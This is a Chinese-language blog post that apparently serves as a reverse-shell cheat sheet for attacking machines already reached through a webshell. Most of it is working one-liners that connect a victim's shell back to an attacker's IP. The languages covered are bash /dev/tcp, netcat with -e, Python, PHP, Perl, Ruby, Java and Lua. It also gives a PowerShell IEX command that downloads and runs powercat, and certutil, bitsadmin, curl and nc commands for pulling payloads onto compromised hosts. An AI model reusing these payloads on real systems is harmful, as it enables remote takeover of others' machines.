本篇博客主要介绍了shell和反弹shell的一些常见方法以及如何在shell下载文件!

反弹shell

什么是反弹shell?

反弹shell,即reverse shell,一般情况下指在本地的命令行的输入输出转到控制端得以执行。

正向连接

假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面,web服务,ssh,telnet等等,都是正向连接。

但这种有局限性:

  1. 如果被控端再内网中,不能直接连接

  2. 防火墙的限制

反弹shell

就是控制端监听在某TCP/UDP端口,被控制端主动连接控制端的这一端口,控制端可以通过这一端口进行相关命令操作。

反向shell通常用于被控端因防火墙受限、权限不足、端口被占用等情形,同时也实现了被控端的精准控制(指定了被控制端的IP,除此之外的是无法和被控端无法连接)。

下面的例子主要是反向反弹shell,以下的有些方法可将/bin/bash替换成cmd.exe用于windows反弹shell

反弹shell

bash

1
bash -i >& /dev/tcp/x.x.x.x/port 0>&1
  1. bash -i 打开一个交互的bash

  2. >& 将标准错误输出重定向到标准输出

  3. /dev/tcp/x.x.x.x/port 意为调用socket,建立socket连接,其中x.x.x.x为要反弹到的主机ip,port为端口

  4. 0>&1 标准输入重定向到标准输出,实现你与反弹出来的shell的交互

注:/dev/tcp/ 是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。同理,Linux中还存在/dev/udp/

netcat

Linux中nc命令是一个功能强大的网络工具,全称是netcat

选项:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
-g<网关>:设置路由器跃程通信网关,最多设置8个;
-G<指向器数目>:设置来源路由指向器,其数值为4的倍数;
-h:在线帮助;
-i<延迟秒数>:设置时间间隔,以便传送信息及扫描通信端口;
-l:使用监听模式,监控传入的资料;
-n:直接使用ip地址,而不通过域名服务器;
-o<输出文件>:指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存;
-p<通信端口>:设置本地主机使用的通信端口;
-r:指定源端口和目的端口都进行随机的选择;
-s<来源位址>:设置本地主机送出数据包的IP地址;
-u:使用UDP传输协议;
-v:显示指令执行过程;
-w<超时秒数>:设置等待连线的时间;
-z:使用0输入/输出模式,只在扫描通信端口时使用

常用的命令:

1
2
3
4
5
6
7
被控端:nc 192.168.31.174 8080 -t -e /bin/bash

通过webshell我们可以使用nc命令直接建立一个tcp 8080 的会话连接,然后将本地的bash通过这个会话连接反弹给目标主机(192.168.31.174)

控制端:nc -lvp 8080

使用监听模式监听8080端口,并显示命令执行过程

Python

1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

如果目标机器上有pty模块,可以直接

1
python -c "import pty;pty.spawn('/bin/bash')"

Powershell

1
powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 192.168.159.134 -p 6666 -e cmd

用于windows的反弹shell

php

1
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

Perl

方法1:

1
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

方法2:

1
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"x.x.x.x:5555");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

Ruby

方法1:

1
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("x.x.x.x","5555");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

方法2:

1
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Java

1
2
3
4
5
6
7
8
9
10
11
12
13
public class Revs {
/**
* @param args
* @throws Exception
*/
public static void main(String[] args) throws Exception {
// TODO Auto-generated method stub
Runtime r = Runtime.getRuntime();
String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/x.x.x.x/5555;cat <&5 | while read line; do $line 2>&5 >&5; done"};
Process p = r.exec(cmd);
p.waitFor();
}
}

Lua

1
lua -e "require('socket');require('os');t=socket.tcp();t:connect('x.x.x.x','5555');os.execute('/bin/sh -i <&3 >&3 2>&3');"

shell下载文件

先把文件放到有公网的服务器上

windows

方法1(powershell):

1
powershell (new-object System.Net.WebClient).DownloadFile( 'http://****/***','C:/Users/Public/a.exe')

方法2(certutil):

1
certutil -urlcache -split -f http://***/a.exe C:/Users/a.exe

方法3(bitsadmin):

1
bitsadmin /transfer n http://download.fb.com/file/xx.zip c:\pentest\xx.zip

Linux

方法1(curl):

1
curl -O http://****/a.exe

方法2(nc):

1
2
3
4
5
6
7
8
9
10
11
12
13
// 在 45.77.17.128 这台主机监听 9988 端口(注意符号是 "<" )
# nc -l 9988 < Python-3.6.6.tar.xz

// 在 192.168.1.254 这台主机下载文件(注意符号是 ">" )
# nc --recv-only 45.77.17.128 9988 > Python-3.6.6.tar.xz

或者

// 在 45.77.17.128 这台主机监听 9988 端口(注意符号是 ">" )
# nc -l 9988 > command.tar.gz

// 在 192.168.1.254 这台主机上传文件(注意符号是 "<" )
# nc --send-only 45.77.17.128 9988 < command.tar.gz

方法3(wegt):

1
wegt http://****/a.sh

参考:

http://www.gtfly.top/2019/05/09/反弹shell.html

https://brucetg.github.io/2018/05/03/多种姿势反弹shell/

评论